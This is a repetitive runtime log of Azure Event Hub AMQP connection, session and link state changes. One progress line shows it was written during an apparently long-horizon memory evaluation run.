+2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:05,276 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:05,591 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,591 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,592 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,592 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:05,623 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,623 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:05,623 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,623 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:05,641 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,692 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:05,742 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:05,792 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,792 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:05,843 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:05,843 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:06,045 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,095 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,203 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:06,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,204 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:06,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,204 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:06,204 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,448 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:06,563 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,564 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:06,621 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,672 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:06,722 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:06,772 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,772 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:06,823 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:06,823 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:07,032 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,091 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:07,206 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,437 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,546 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:07,599 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,650 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:07,700 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:07,751 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,751 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:07,801 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:07,801 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:08,007 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,173 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:08,174 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,415 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:08,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,533 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:08,534 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,534 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:08,534 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,534 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:08,592 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,642 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:08,692 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:08,743 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,743 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:08,793 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:08,793 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:09,004 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,063 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:09,180 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,239 [amplihack.eval.long_horizon_memory] INFO: Turn 50/100 (1.0 turns/s) - block: numerical +2026-03-13 03:19:09,424 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:09,540 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,541 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:09,599 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,649 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:09,699 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:09,750 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,750 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:09,800 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:09,800 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:10,010 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,070 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,186 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,186 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,186 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:10,186 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,186 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:10,187 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,424 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,533 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:10,587 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,637 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:10,687 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:10,738 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,738 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:10,788 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:10,788 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:10,994 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,048 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,159 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:11,160 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,384 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,491 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:11,544 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,594 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:11,644 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:11,695 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,695 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:11,745 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:11,745 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:11,950 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,003 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:12,114 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,329 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:12,431 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,432 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:12,481 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,531 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:12,581 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:12,632 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,632 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:12,682 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,683 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:12,884 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:12,936 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:13,044 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,281 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:13,397 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,397 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,397 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,397 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:13,398 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,398 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:13,398 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,398 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:13,455 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,505 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:13,555 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:13,606 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,606 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:13,656 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,656 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:13,866 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:13,925 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,039 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:14,040 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,271 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:14,380 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,380 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,380 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,380 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:14,381 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,381 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:14,381 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,381 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:14,434 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,484 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:14,535 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:14,585 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,585 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:14,636 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,636 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:14,841 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:14,896 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:15,012 